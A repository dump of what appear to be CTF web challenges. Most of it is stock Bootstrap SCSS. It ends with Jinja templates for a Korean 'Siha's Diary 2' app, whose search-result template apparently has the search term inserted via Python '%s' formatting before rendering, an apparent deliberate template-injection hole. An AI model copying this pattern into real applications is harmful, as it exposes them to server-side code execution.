| 10 | .fade { 11 | opacity: 0; 12 | @include transition(opacity .15s linear); 13 | &.in { 14 | opacity: 1; 15 | } 16 | } 17 | 18 | .collapse { 19 | display: none; 20 | 21 | &.in { display: block; } 22 | // [converter] extracted tr&.in to tr.collapse.in 23 | // [converter] extracted tbody&.in to tbody.collapse.in 24 | } 25 | 26 | tr.collapse.in { display: table-row; } 27 | 28 | tbody.collapse.in { display: table-row-group; } 29 | 30 | .collapsing { 31 | position: relative; 32 | height: 0; 33 | overflow: hidden; 34 | @include transition-property(height, visibility); 35 | @include transition-duration(.35s); 36 | @include transition-timing-function(ease); 37 | } 38 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_grid.scss: -------------------------------------------------------------------------------- 1 | // 2 | // Grid system 3 | // -------------------------------------------------- 4 | 5 | 6 | // Container widths 7 | // 8 | // Set the container width, and override it for fixed navbars in media queries. 9 | 10 | .container { 11 | @include container-fixed; 12 | 13 | @media (min-width: $screen-sm-min) { 14 | width: $container-sm; 15 | } 16 | @media (min-width: $screen-md-min) { 17 | width: $container-md; 18 | } 19 | @media (min-width: $screen-lg-min) { 20 | width: $container-lg; 21 | } 22 | } 23 | 24 | 25 | // Fluid container 26 | // 27 | // Utilizes the mixin meant for fixed width containers, but without any defined 28 | // width for fluid, full width layouts. 29 | 30 | .container-fluid { 31 | @include container-fixed; 32 | } 33 | 34 | 35 | // Row 36 | // 37 | // Rows contain and clear the floats of your columns. 38 | 39 | .row { 40 | @include make-row; 41 | } 42 | 43 | 44 | // Columns 45 | // 46 | // Common styles for small and large grid columns 47 | 48 | @include make-grid-columns; 49 | 50 | 51 | // Extra small grid 52 | // 53 | // Columns, offsets, pushes, and pulls for extra small devices like 54 | // smartphones. 55 | 56 | @include make-grid(xs); 57 | 58 | 59 | // Small grid 60 | // 61 | // Columns, offsets, pushes, and pulls for the small device range, from phones 62 | // to tablets. 63 | 64 | @media (min-width: $screen-sm-min) { 65 | @include make-grid(sm); 66 | } 67 | 68 | 69 | // Medium grid 70 | // 71 | // Columns, offsets, pushes, and pulls for the desktop device range. 72 | 73 | @media (min-width: $screen-md-min) { 74 | @include make-grid(md); 75 | } 76 | 77 | 78 | // Large grid 79 | // 80 | // Columns, offsets, pushes, and pulls for the large desktop device range. 81 | 82 | @media (min-width: $screen-lg-min) { 83 | @include make-grid(lg); 84 | } 85 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_jumbotron.scss: -------------------------------------------------------------------------------- 1 | // 2 | // Jumbotron 3 | // -------------------------------------------------- 4 | 5 | 6 | .jumbotron { 7 | padding-top: $jumbotron-padding; 8 | padding-bottom: $jumbotron-padding; 9 | margin-bottom: $jumbotron-padding; 10 | color: $jumbotron-color; 11 | background-color: $jumbotron-bg; 12 | 13 | h1, 14 | .h1 { 15 | color: $jumbotron-heading-color; 16 | } 17 | 18 | p { 19 | margin-bottom: ($jumbotron-padding / 2); 20 | font-size: $jumbotron-font-size; 21 | font-weight: 200; 22 | } 23 | 24 | > hr { 25 | border-top-color: darken($jumbotron-bg, 10%); 26 | } 27 | 28 | .container &, 29 | .container-fluid & { 30 | border-radius: $border-radius-large; // Only round corners at higher resolutions if contained in a container 31 | } 32 | 33 | .container { 34 | max-width: 100%; 35 | } 36 | 37 | @media screen and (min-width: $screen-sm-min) { 38 | padding-top: ($jumbotron-padding * 1.6); 39 | padding-bottom: ($jumbotron-padding * 1.6); 40 | 41 | .container &, 42 | .container-fluid & { 43 | padding-left: ($jumbotron-padding * 2); 44 | padding-right: ($jumbotron-padding * 2); 45 | } 46 | 47 | h1, 48 | .h1 { 49 | font-size: $jumbotron-heading-font-size; 50 | } 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_labels.scss: -------------------------------------------------------------------------------- 1 | // 2 | // Labels 3 | // -------------------------------------------------- 4 | 5 | .label { 6 | display: inline; 7 | padding: .2em .6em .3em; 8 | font-size: 75%; 9 | font-weight: bold; 10 | line-height: 1; 11 | color: $label-color; 12 | text-align: center; 13 | white-space: nowrap; 14 | vertical-align: baseline; 15 | border-radius: .25em; 16 | 17 | // [converter] extracted a& to a.label 18 | 19 | // Empty labels collapse automatically (not available in IE8) 20 | &:empty { 21 | display: none; 22 | } 23 | 24 | // Quick fix for labels in buttons 25 | .btn & { 26 | position: relative; 27 | top: -1px; 28 | } 29 | } 30 | 31 | // Add hover effects, but only for links 32 | a.label { 33 | &:hover, 34 | &:focus { 35 | color: $label-link-hover-color; 36 | text-decoration: none; 37 | cursor: pointer; 38 | } 39 | } 40 | 41 | // Colors 42 | // Contextual variations (linked labels get darker on :hover) 43 | 44 | .label-default { 45 | @include label-variant($label-default-bg); 46 | } 47 | 48 | .label-primary { 49 | @include label-variant($label-primary-bg); 50 | } 51 | 52 | .label-success { 53 | @include label-variant($label-success-bg); 54 | } 55 | 56 | .label-info { 57 | @include label-variant($label-info-bg); 58 | } 59 | 60 | .label-warning { 61 | @include label-variant($label-warning-bg); 62 | } 63 | 64 | .label-danger { 65 | @include label-variant($label-danger-bg); 66 | } 67 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_media.scss: -------------------------------------------------------------------------------- 1 | .media { 2 | // Proper spacing between instances of .media 3 | margin-top: 15px; 4 | 5 | &:first-child { 6 | margin-top: 0; 7 | } 8 | } 9 | 10 | .media, 11 | .media-body { 12 | zoom: 1; 13 | overflow: hidden; 14 | } 15 | 16 | .media-body { 17 | width: 10000px; 18 | } 19 | 20 | .media-object { 21 | display: block; 22 | 23 | // Fix collapse in webkit from max-width: 100% and display: table-cell. 24 | &.img-thumbnail { 25 | max-width: none; 26 | } 27 | } 28 | 29 | .media-right, 30 | .media > .pull-right { 31 | padding-left: 10px; 32 | } 33 | 34 | .media-left, 35 | .media > .pull-left { 36 | padding-right: 10px; 37 | } 38 | 39 | .media-left, 40 | .media-right, 41 | .media-body { 42 | display: table-cell; 43 | vertical-align: top; 44 | } 45 | 46 | .media-middle { 47 | vertical-align: middle; 48 | } 49 | 50 | .media-bottom { 51 | vertical-align: bottom; 52 | } 53 | 54 | // Reset margins on headings for tighter default spacing 55 | .media-heading { 56 | margin-top: 0; 57 | margin-bottom: 5px; 58 | } 59 | 60 | // Media list variation 61 | // 62 | // Undo default ul/ol styles 63 | .media-list { 64 | padding-left: 0; 65 | list-style: none; 66 | } 67 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_mixins.scss: -------------------------------------------------------------------------------- 1 | // Mixins 2 | // -------------------------------------------------- 3 | 4 | // Utilities 5 | @import "mixins/hide-text"; 6 | @import "mixins/opacity"; 7 | @import "mixins/image"; 8 | @import "mixins/labels"; 9 | @import "mixins/reset-filter"; 10 | @import "mixins/resize"; 11 | @import "mixins/responsive-visibility"; 12 | @import "mixins/size"; 13 | @import "mixins/tab-focus"; 14 | @import "mixins/reset-text"; 15 | @import "mixins/text-emphasis"; 16 | @import "mixins/text-overflow"; 17 | @import "mixins/vendor-prefixes"; 18 | 19 | // Components 20 | @import "mixins/alerts"; 21 | @import "mixins/buttons"; 22 | @import "mixins/panels"; 23 | @import "mixins/pagination"; 24 | @import "mixins/list-group"; 25 | @import "mixins/nav-divider"; 26 | @import "mixins/forms"; 27 | @import "mixins/progress-bar"; 28 | @import "mixins/table-row"; 29 | 30 | // Skins 31 | @import "mixins/background-variant"; 32 | @import "mixins/border-radius"; 33 | @import "mixins/gradients"; 34 | 35 | // Layout 36 | @import "mixins/clearfix"; 37 | @import "mixins/center-block"; 38 | @import "mixins/nav-vertical-align"; 39 | @import "mixins/grid-framework"; 40 | @import "mixins/grid"; 41 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_pager.scss: -------------------------------------------------------------------------------- 1 | // 2 | // Pager pagination 3 | // -------------------------------------------------- 4 | 5 | 6 | .pager { 7 | padding-left: 0; 8 | margin: $line-height-computed 0; 9 | list-style: none; 10 | text-align: center; 11 | @include clearfix; 12 | li { 13 | display: inline; 14 | > a, 15 | > span { 16 | display: inline-block; 17 | padding: 5px 14px; 18 | background-color: $pager-bg; 19 | border: 1px solid $pager-border; 20 | border-radius: $pager-border-radius; 21 | } 22 | 23 | > a:hover, 24 | > a:focus { 25 | text-decoration: none; 26 | background-color: $pager-hover-bg; 27 | } 28 | } 29 | 30 | .next { 31 | > a, 32 | > span { 33 | float: right; 34 | } 35 | } 36 | 37 | .previous { 38 | > a, 39 | > span { 40 | float: left; 41 | } 42 | } 43 | 44 | .disabled { 45 | > a, 46 | > a:hover, 47 | > a:focus, 48 | > span { 49 | color: $pager-disabled-color; 50 | background-color: $pager-bg; 51 | cursor: $cursor-disabled; 52 | } 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_pagination.scss: -------------------------------------------------------------------------------- 1 | // 2 | // Pagination (multiple pages) 3 | // -------------------------------------------------- 4 | .pagination { 5 | display: inline-block; 6 | padding-left: 0; 7 | margin: $line-height-computed 0; 8 | border-radius: $border-radius-base; 9 | 10 | > li { 11 | display: inline; // Remove list-style and block-level defaults 12 | > a, 13 | > span { 14 | position: relative; 15 | float: left; // Collapse white-space 16 | padding: $padding-base-vertical $padding-base-horizontal; 17 | line-height: $line-height-base; 18 | text-decoration: none; 19 | color: $pagination-color; 20 | background-color: $pagination-bg; 21 | border: 1px solid $pagination-border; 22 | margin-left: -1px; 23 | } 24 | &:first-child { 25 | > a, 26 | > span { 27 | margin-left: 0; 28 | @include border-left-radius($border-radius-base); 29 | } 30 | } 31 | &:last-child { 32 | > a, 33 | > span { 34 | @include border-right-radius($border-radius-base); 35 | } 36 | } 37 | } 38 | 39 | > li > a, 40 | > li > span { 41 | &:hover, 42 | &:focus { 43 | z-index: 3; 44 | color: $pagination-hover-color; 45 | background-color: $pagination-hover-bg; 46 | border-color: $pagination-hover-border; 47 | } 48 | } 49 | 50 | > .active > a, 51 | > .active > span { 52 | &, 53 | &:hover, 54 | &:focus { 55 | z-index: 2; 56 | color: $pagination-active-color; 57 | background-color: $pagination-active-bg; 58 | border-color: $pagination-active-border; 59 | cursor: default; 60 | } 61 | } 62 | 63 | > .disabled { 64 | > span, 65 | > span:hover, 66 | > span:focus, 67 | > a, 68 | > a:hover, 69 | > a:focus { 70 | color: $pagination-disabled-color; 71 | background-color: $pagination-disabled-bg; 72 | border-color: $pagination-disabled-border; 73 | cursor: $cursor-disabled; 74 | } 75 | } 76 | } 77 | 78 | // Sizing 79 | // -------------------------------------------------- 80 | 81 | // Large 82 | .pagination-lg { 83 | @include pagination-size($padding-large-vertical, $padding-large-horizontal, $font-size-large, $line-height-large, $border-radius-large); 84 | } 85 | 86 | // Small 87 | .pagination-sm { 88 | @include pagination-size($padding-small-vertical, $padding-small-horizontal, $font-size-small, $line-height-small, $border-radius-small); 89 | } 90 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_print.scss: -------------------------------------------------------------------------------- 1 | /*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */ 2 | 3 | // ========================================================================== 4 | // Print styles. 5 | // Inlined to avoid the additional HTTP request: h5bp.com/r 6 | // ========================================================================== 7 | 8 | @media print { 9 | *, 10 | *:before, 11 | *:after { 12 | background: transparent !important; 13 | color: #000 !important; // Black prints faster: h5bp.com/s 14 | box-shadow: none !important; 15 | text-shadow: none !important; 16 | } 17 | 18 | a, 19 | a:visited { 20 | text-decoration: underline; 21 | } 22 | 23 | a[href]:after { 24 | content: " (" attr(href) ")"; 25 | } 26 | 27 | abbr[title]:after { 28 | content: " (" attr(title) ")"; 29 | } 30 | 31 | // Don't show links that are fragment identifiers, 32 | // or use the `javascript:` pseudo protocol 33 | a[href^="#"]:after, 34 | a[href^="javascript:"]:after { 35 | content: ""; 36 | } 37 | 38 | pre, 39 | blockquote { 40 | border: 1px solid #999; 41 | page-break-inside: avoid; 42 | } 43 | 44 | thead { 45 | display: table-header-group; // h5bp.com/t 46 | } 47 | 48 | tr, 49 | img { 50 | page-break-inside: avoid; 51 | } 52 | 53 | img { 54 | max-width: 100% !important; 55 | } 56 | 57 | p, 58 | h2, 59 | h3 { 60 | orphans: 3; 61 | widows: 3; 62 | } 63 | 64 | h2, 65 | h3 { 66 | page-break-after: avoid; 67 | } 68 | 69 | // Bootstrap specific changes start 70 | 71 | // Bootstrap components 72 | .navbar { 73 | display: none; 74 | } 75 | .btn, 76 | .dropup > .btn { 77 | > .caret { 78 | border-top-color: #000 !important; 79 | } 80 | } 81 | .label { 82 | border: 1px solid #000; 83 | } 84 | 85 | .table { 86 | border-collapse: collapse !important; 87 | 88 | td, 89 | th { 90 | background-color: #fff !important; 91 | } 92 | } 93 | .table-bordered { 94 | th, 95 | td { 96 | border: 1px solid #ddd !important; 97 | } 98 | } 99 | 100 | // Bootstrap specific changes end 101 | } 102 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_progress-bars.scss: -------------------------------------------------------------------------------- 1 | // 2 | // Progress bars 3 | // -------------------------------------------------- 4 | 5 | 6 | // Bar animations 7 | // ------------------------- 8 | 9 | // WebKit 10 | @-webkit-keyframes progress-bar-stripes { 11 | from { background-position: 40px 0; } 12 | to { background-position: 0 0; } 13 | } 14 | 15 | // Spec and IE10+ 16 | @keyframes progress-bar-stripes { 17 | from { background-position: 40px 0; } 18 | to { background-position: 0 0; } 19 | } 20 | 21 | 22 | // Bar itself 23 | // ------------------------- 24 | 25 | // Outer container 26 | .progress { 27 | overflow: hidden; 28 | height: $line-height-computed; 29 | margin-bottom: $line-height-computed; 30 | background-color: $progress-bg; 31 | border-radius: $progress-border-radius; 32 | @include box-shadow(inset 0 1px 2px rgba(0,0,0,.1)); 33 | } 34 | 35 | // Bar of progress 36 | .progress-bar { 37 | float: left; 38 | width: 0%; 39 | height: 100%; 40 | font-size: $font-size-small; 41 | line-height: $line-height-computed; 42 | color: $progress-bar-color; 43 | text-align: center; 44 | background-color: $progress-bar-bg; 45 | @include box-shadow(inset 0 -1px 0 rgba(0,0,0,.15)); 46 | @include transition(width .6s ease); 47 | } 48 | 49 | // Striped bars 50 | // 51 | // `.progress-striped .progress-bar` is deprecated as of v3.2.0 in favor of the 52 | // `.progress-bar-striped` class, which you just add to an existing 53 | // `.progress-bar`. 54 | .progress-striped .progress-bar, 55 | .progress-bar-striped { 56 | @include gradient-striped; 57 | background-size: 40px 40px; 58 | } 59 | 60 | // Call animation for the active one 61 | // 62 | // `.progress.active .progress-bar` is deprecated as of v3.2.0 in favor of the 63 | // `.progress-bar.active` approach. 64 | .progress.active .progress-bar, 65 | .progress-bar.active { 66 | @include animation(progress-bar-stripes 2s linear infinite); 67 | } 68 | 69 | 70 | // Variations 71 | // ------------------------- 72 | 73 | .progress-bar-success { 74 | @include progress-bar-variant($progress-bar-success-bg); 75 | } 76 | 77 | .progress-bar-info { 78 | @include progress-bar-variant($progress-bar-info-bg); 79 | } 80 | 81 | .progress-bar-warning { 82 | @include progress-bar-variant($progress-bar-warning-bg); 83 | } 84 | 85 | .progress-bar-danger { 86 | @include progress-bar-variant($progress-bar-danger-bg); 87 | } 88 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_responsive-embed.scss: -------------------------------------------------------------------------------- 1 | // Embeds responsive 2 | // 3 | // Credit: Nicolas Gallagher and SUIT CSS. 4 | 5 | .embed-responsive { 6 | position: relative; 7 | display: block; 8 | height: 0; 9 | padding: 0; 10 | overflow: hidden; 11 | 12 | .embed-responsive-item, 13 | iframe, 14 | embed, 15 | object, 16 | video { 17 | position: absolute; 18 | top: 0; 19 | left: 0; 20 | bottom: 0; 21 | height: 100%; 22 | width: 100%; 23 | border: 0; 24 | } 25 | } 26 | 27 | // Modifier class for 16:9 aspect ratio 28 | .embed-responsive-16by9 { 29 | padding-bottom: 56.25%; 30 | } 31 | 32 | // Modifier class for 4:3 aspect ratio 33 | .embed-responsive-4by3 { 34 | padding-bottom: 75%; 35 | } 36 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_thumbnails.scss: -------------------------------------------------------------------------------- 1 | // 2 | // Thumbnails 3 | // -------------------------------------------------- 4 | 5 | 6 | // Mixin and adjust the regular image class 7 | .thumbnail { 8 | display: block; 9 | padding: $thumbnail-padding; 10 | margin-bottom: $line-height-computed; 11 | line-height: $line-height-base; 12 | background-color: $thumbnail-bg; 13 | border: 1px solid $thumbnail-border; 14 | border-radius: $thumbnail-border-radius; 15 | @include transition(border .2s ease-in-out); 16 | 17 | > img, 18 | a > img { 19 | @include img-responsive; 20 | margin-left: auto; 21 | margin-right: auto; 22 | } 23 | 24 | // [converter] extracted a&:hover, a&:focus, a&.active to a.thumbnail:hover, a.thumbnail:focus, a.thumbnail.active 25 | 26 | // Image captions 27 | .caption { 28 | padding: $thumbnail-caption-padding; 29 | color: $thumbnail-caption-color; 30 | } 31 | } 32 | 33 | // Add a hover state for linked versions only 34 | a.thumbnail:hover, 35 | a.thumbnail:focus, 36 | a.thumbnail.active { 37 | border-color: $link-color; 38 | } 39 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_tooltip.scss: -------------------------------------------------------------------------------- 1 | // 2 | // Tooltips 3 | // -------------------------------------------------- 4 | 5 | 6 | // Base class 7 | .tooltip { 8 | position: absolute; 9 | z-index: $zindex-tooltip; 10 | display: block; 11 | // Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element. 12 | // So reset our font and text properties to avoid inheriting weird values. 13 | @include reset-text; 14 | font-size: $font-size-small; 15 | 16 | @include opacity(0); 17 | 18 | &.in { @include opacity($tooltip-opacity); } 19 | &.top { margin-top: -3px; padding: $tooltip-arrow-width 0; } 20 | &.right { margin-left: 3px; padding: 0 $tooltip-arrow-width; } 21 | &.bottom { margin-top: 3px; padding: $tooltip-arrow-width 0; } 22 | &.left { margin-left: -3px; padding: 0 $tooltip-arrow-width; } 23 | } 24 | 25 | // Wrapper for the tooltip content 26 | .tooltip-inner { 27 | max-width: $tooltip-max-width; 28 | padding: 3px 8px; 29 | color: $tooltip-color; 30 | text-align: center; 31 | background-color: $tooltip-bg; 32 | border-radius: $border-radius-base; 33 | } 34 | 35 | // Arrows 36 | .tooltip-arrow { 37 | position: absolute; 38 | width: 0; 39 | height: 0; 40 | border-color: transparent; 41 | border-style: solid; 42 | } 43 | // Note: Deprecated .top-left, .top-right, .bottom-left, and .bottom-right as of v3.3.1 44 | .tooltip { 45 | &.top .tooltip-arrow { 46 | bottom: 0; 47 | left: 50%; 48 | margin-left: -$tooltip-arrow-width; 49 | border-width: $tooltip-arrow-width $tooltip-arrow-width 0; 50 | border-top-color: $tooltip-arrow-color; 51 | } 52 | &.top-left .tooltip-arrow { 53 | bottom: 0; 54 | right: $tooltip-arrow-width; 55 | margin-bottom: -$tooltip-arrow-width; 56 | border-width: $tooltip-arrow-width $tooltip-arrow-width 0; 57 | border-top-color: $tooltip-arrow-color; 58 | } 59 | &.top-right .tooltip-arrow { 60 | bottom: 0; 61 | left: $tooltip-arrow-width; 62 | margin-bottom: -$tooltip-arrow-width; 63 | border-width: $tooltip-arrow-width $tooltip-arrow-width 0; 64 | border-top-color: $tooltip-arrow-color; 65 | } 66 | &.right .tooltip-arrow { 67 | top: 50%; 68 | left: 0; 69 | margin-top: -$tooltip-arrow-width; 70 | border-width: $tooltip-arrow-width $tooltip-arrow-width $tooltip-arrow-width 0; 71 | border-right-color: $tooltip-arrow-color; 72 | } 73 | &.left .tooltip-arrow { 74 | top: 50%; 75 | right: 0; 76 | margin-top: -$tooltip-arrow-width; 77 | border-width: $tooltip-arrow-width 0 $tooltip-arrow-width $tooltip-arrow-width; 78 | border-left-color: $tooltip-arrow-color; 79 | } 80 | &.bottom .tooltip-arrow { 81 | top: 0; 82 | left: 50%; 83 | margin-left: -$tooltip-arrow-width; 84 | border-width: 0 $tooltip-arrow-width $tooltip-arrow-width; 85 | border-bottom-color: $tooltip-arrow-color; 86 | } 87 | &.bottom-left .tooltip-arrow { 88 | top: 0; 89 | right: $tooltip-arrow-width; 90 | margin-top: -$tooltip-arrow-width; 91 | border-width: 0 $tooltip-arrow-width $tooltip-arrow-width; 92 | border-bottom-color: $tooltip-arrow-color; 93 | } 94 | &.bottom-right .tooltip-arrow { 95 | top: 0; 96 | left: $tooltip-arrow-width; 97 | margin-top: -$tooltip-arrow-width; 98 | border-width: 0 $tooltip-arrow-width $tooltip-arrow-width; 99 | border-bottom-color: $tooltip-arrow-color; 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_utilities.scss: -------------------------------------------------------------------------------- 1 | // 2 | // Utility classes 3 | // -------------------------------------------------- 4 | 5 | 6 | // Floats 7 | // ------------------------- 8 | 9 | .clearfix { 10 | @include clearfix; 11 | } 12 | .center-block { 13 | @include center-block; 14 | } 15 | .pull-right { 16 | float: right !important; 17 | } 18 | .pull-left { 19 | float: left !important; 20 | } 21 | 22 | 23 | // Toggling content 24 | // ------------------------- 25 | 26 | // Note: Deprecated .hide in favor of .hidden or .sr-only (as appropriate) in v3.0.1 27 | .hide { 28 | display: none !important; 29 | } 30 | .show { 31 | display: block !important; 32 | } 33 | .invisible { 34 | visibility: hidden; 35 | } 36 | .text-hide { 37 | @include text-hide; 38 | } 39 | 40 | 41 | // Hide from screenreaders and browsers 42 | // 43 | // Credit: HTML5 Boilerplate 44 | 45 | .hidden { 46 | display: none !important; 47 | } 48 | 49 | 50 | // For Affix plugin 51 | // ------------------------- 52 | 53 | .affix { 54 | position: fixed; 55 | } 56 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_wells.scss: -------------------------------------------------------------------------------- 1 | // 2 | // Wells 3 | // -------------------------------------------------- 4 | 5 | 6 | // Base class 7 | .well { 8 | min-height: 20px; 9 | padding: 19px; 10 | margin-bottom: 20px; 11 | background-color: $well-bg; 12 | border: 1px solid $well-border; 13 | border-radius: $border-radius-base; 14 | @include box-shadow(inset 0 1px 1px rgba(0,0,0,.05)); 15 | blockquote { 16 | border-color: #ddd; 17 | border-color: rgba(0,0,0,.15); 18 | } 19 | } 20 | 21 | // Sizes 22 | .well-lg { 23 | padding: 24px; 24 | border-radius: $border-radius-large; 25 | } 26 | .well-sm { 27 | padding: 9px; 28 | border-radius: $border-radius-small; 29 | } 30 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/mixins/_alerts.scss: -------------------------------------------------------------------------------- 1 | // Alerts 2 | 3 | @mixin alert-variant($background, $border, $text-color) { 4 | background-color: $background; 5 | border-color: $border; 6 | color: $text-color; 7 | 8 | hr { 9 | border-top-color: darken($border, 5%); 10 | } 11 | .alert-link { 12 | color: darken($text-color, 10%); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/mixins/_background-variant.scss: -------------------------------------------------------------------------------- 1 | // Contextual backgrounds 2 | 3 | // [converter] $parent hack 4 | @mixin bg-variant($parent, $color) { 5 | #{$parent} { 6 | background-color: $color; 7 | } 8 | a#{$parent}:hover, 9 | a#{$parent}:focus { 10 | background-color: darken($color, 10%); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/mixins/_border-radius.scss: -------------------------------------------------------------------------------- 1 | // Single side border-radius 2 | 3 | @mixin border-top-radius($radius) { 4 | border-top-right-radius: $radius; 5 | border-top-left-radius: $radius; 6 | } 7 | @mixin border-right-radius($radius) { 8 | border-bottom-right-radius: $radius; 9 | border-top-right-radius: $radius; 10 | } 11 | @mixin border-bottom-radius($radius) { 12 | border-bottom-right-radius: $radius; 13 | border-bottom-left-radius: $radius; 14 | } 15 | @mixin border-left-radius($radius) { 16 | border-bottom-left-radius: $radius; 17 | border-top-left-radius: $radius; 18 | } 19 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/mixins/_buttons.scss: -------------------------------------------------------------------------------- 1 | // Button variants 2 | // 3 | // Easily pump out default styles, as well as :hover, :focus, :active, 4 | // and disabled options for all buttons 5 | 6 | @mixin button-variant($color, $background, $border) { 7 | color: $color; 8 | background-color: $background; 9 | border-color: $border; 10 | 11 | &:focus, 12 | &.focus { 13 | color: $color; 14 | background-color: darken($background, 10%); 15 | border-color: darken($border, 25%); 16 | } 17 | &:hover { 18 | color: $color; 19 | background-color: darken($background, 10%); 20 | border-color: darken($border, 12%); 21 | } 22 | &:active, 23 | &.active, 24 | .open > &.dropdown-toggle { 25 | color: $color; 26 | background-color: darken($background, 10%); 27 | border-color: darken($border, 12%); 28 | 29 | &:hover, 30 | &:focus, 31 | &.focus { 32 | color: $color; 33 | background-color: darken($background, 17%); 34 | border-color: darken($border, 25%); 35 | } 36 | } 37 | &:active, 38 | &.active, 39 | .open > &.dropdown-toggle { 40 | background-image: none; 41 | } 42 | &.disabled, 43 | &[disabled], 44 | fieldset[disabled] & { 45 | &, 46 | &:hover, 47 | &:focus, 48 | &.focus, 49 | &:active, 50 | &.active { 51 | background-color: $background; 52 | border-color: $border; 53 | } 54 | } 55 | 56 | .badge { 57 | color: $background; 58 | background-color: $color; 59 | } 60 | } 61 | 62 | // Button sizes 63 | @mixin button-size($padding-vertical, $padding-horizontal, $font-size, $line-height, $border-radius) { 64 | padding: $padding-vertical $padding-horizontal; 65 | font-size: $font-size; 66 | line-height: $line-height; 67 | border-radius: $border-radius; 68 | } 69 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/mixins/_center-block.scss: -------------------------------------------------------------------------------- 1 | // Center-align a block level element 2 | 3 | @mixin center-block() { 4 | display: block; 5 | margin-left: auto; 6 | margin-right: auto; 7 | } 8 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/mixins/_clearfix.scss: -------------------------------------------------------------------------------- 1 | // Clearfix 2 | // 3 | // For modern browsers 4 | // 1. The space content is one way to avoid an Opera bug when the 5 | // contenteditable attribute is included anywhere else in the document. 6 | // Otherwise it causes space to appear at the top and bottom of elements 7 | // that are clearfixed. 8 | // 2. The use of `table` rather than `block` is only necessary if using 9 | // `:before` to contain the top-margins of child elements. 10 | // 11 | // Source: http://nicolasgallagher.com/micro-clearfix-hack/ 12 | 13 | @mixin clearfix() { 14 | &:before, 15 | &:after { 16 | content: " "; // 1 17 | display: table; // 2 18 | } 19 | &:after { 20 | clear: both; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/mixins/_forms.scss: -------------------------------------------------------------------------------- 1 | // Form validation states 2 | // 3 | // Used in forms.less to generate the form validation CSS for warnings, errors, 4 | // and successes. 5 | 6 | @mixin form-control-validation($text-color: #555, $border-color: #ccc, $background-color: #f5f5f5) { 7 | // Color the label and help text 8 | .help-block, 9 | .control-label, 10 | .radio, 11 | .checkbox, 12 | .radio-inline, 13 | .checkbox-inline, 14 | &.radio label, 15 | &.checkbox label, 16 | &.radio-inline label, 17 | &.checkbox-inline label { 18 | color: $text-color; 19 | } 20 | // Set the border and box shadow on specific inputs to match 21 | .form-control { 22 | border-color: $border-color; 23 | @include box-shadow(inset 0 1px 1px rgba(0,0,0,.075)); // Redeclare so transitions work 24 | &:focus { 25 | border-color: darken($border-color, 10%); 26 | $shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 6px lighten($border-color, 20%); 27 | @include box-shadow($shadow); 28 | } 29 | } 30 | // Set validation states also for addons 31 | .input-group-addon { 32 | color: $text-color; 33 | border-color: $border-color; 34 | background-color: $background-color; 35 | } 36 | // Optional feedback icon 37 | .form-control-feedback { 38 | color: $text-color; 39 | } 40 | } 41 | 42 | 43 | // Form control focus state 44 | // 45 | // Generate a customized focus state and for any input with the specified color, 46 | // which defaults to the `$input-border-focus` variable. 47 | // 48 | // We highly encourage you to not customize the default value, but instead use 49 | // this to tweak colors on an as-needed basis. This aesthetic change is based on 50 | // WebKit's default styles, but applicable to a wider range of browsers. Its 51 | // usability and accessibility should be taken into account with any change. 52 | // 53 | // Example usage: change the default blue border and shadow to white for better 54 | // contrast against a dark gray background. 55 | @mixin form-control-focus($color: $input-border-focus) { 56 | $color-rgba: rgba(red($color), green($color), blue($color), .6); 57 | &:focus { 58 | border-color: $color; 59 | outline: 0; 60 | @include box-shadow(inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px $color-rgba); 61 | } 62 | } 63 | 64 | // Form control sizing 65 | // 66 | // Relative text size, padding, and border-radii changes for form controls. For 67 | // horizontal sizing, wrap controls in the predefined grid classes. ` 20 |
21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | {% for title, date, path in all_diaries %} 37 | 38 | 39 | 40 | 41 | 42 | {% endfor %} 43 | 44 |
제목날짜보기
{{ title }}{{ date }}
45 | 46 | -------------------------------------------------------------------------------- /web/siha's_diary2/release/templates/search_result.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Siha's Diary 2 6 | 7 | 8 | 9 | 10 | 11 |
12 |

Siha의 일기장

13 |
14 | 15 | 16 | 17 | 20 | 21 | 22 |
18 | %s 검색결과 19 |
23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | {%% for title, date, path in results %%} 33 | 34 | 35 | 36 | 37 | 38 | {%% endfor %%} 39 | 40 |
제목날짜보기
{{ title }}{{ date }}
